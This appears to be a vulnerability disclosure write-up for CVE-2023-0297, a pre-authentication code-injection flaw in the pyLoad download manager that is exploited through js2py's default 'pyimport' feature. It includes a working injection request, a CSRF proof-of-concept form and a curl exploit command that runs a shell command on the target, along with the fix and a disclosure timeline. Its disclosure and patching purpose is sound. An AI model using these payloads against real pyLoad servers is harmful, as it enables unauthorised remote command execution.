CVE-2023-0297: Pre-auth RCE in pyLoad
The Story of Finding Pre-auth RCE in pyLoad
TL;DR
A code injection vulnerability in pyLoad versions prior to 0.5.0b3.dev31 leads to pre-auth RCE by abusing js2py
‘s functionality.
You can find the report here and exploit code here.
Details
pyLoad is an OSS download manager written in Python and manageable via web interface. Its GitHub repositoryhas approx. 2.8k stars as of Jan 9th 2023.
While I was auditing pyLoad’s source code, the following code caught my eyes:
jk = eval_js(f"{jk} f()")
The definition of eval_js
function is as follows:
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()")
uses js2py‘s functionality which runs JavaScript code f"{jk} f()"
where jk
parameter is passed by a request parameter:
jk = flask.request.form["jk"]
Therefore you can run arbitrary JavaScript code by requesting the endpoint.
However, how can you abuse it? Since in the js2py.eval_js()
context neither XMLHttpRequest
, fetch
nor require
(like node.js) are not defined so SSRF or reading local files are not a thing.
After spending some time, I found a fancy js2py
‘s functionality:
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
By using this functionality, you can use Python libraries in js2py.eval_js()
context! Surprisingly pyimport
is enabled by default. 😮
I tried simple code that runs OS command by using pyimport
:
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
As expected, touch /tmp/pwnd
was executed!
By sending the following request, the same thing would happen in the target host:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
;f=function%20f2(){};
part in jk
parameter is necessary as this endpoint runs eval_js(f"{jk} f()")
. If not present, injected code won’t get executed due to name 'f' is not defined
error.
Note that a cookie and CSRF token are not present in the request. It means that:
-
- An unauthenticated attacker who can access the target host is capable of RCE.
- Even though an attacker cannot access the target host, they can trick a victim who can access the target host to do RCE by a CSRF attack:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://<target>/flash/addcrypted2" method="POST"> <input type="hidden" name="package" value="xxx" /> <input type="hidden" name="crypted" value="AAAA" /> <input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" /> <input type="hidden" name="passwords" value="aaaa" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Exploit Code
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
Patch
Just disable pyimport
functionality.
import js2py
+js2py.disable_pyimport()
Timeline
- 2023-01-02: Reported to huntr.dev
- 2023-01-04: Vulnerability verified
- 2023-01-04: Vulnerability fixed and report published
- 2023-01-14: CVE ID assigned
Thanks to hunr.dev team and a pyLoad maintainer for quick responses!
原文始发于learner L:CVE-2023-0297: Pre-auth RCE in pyLoad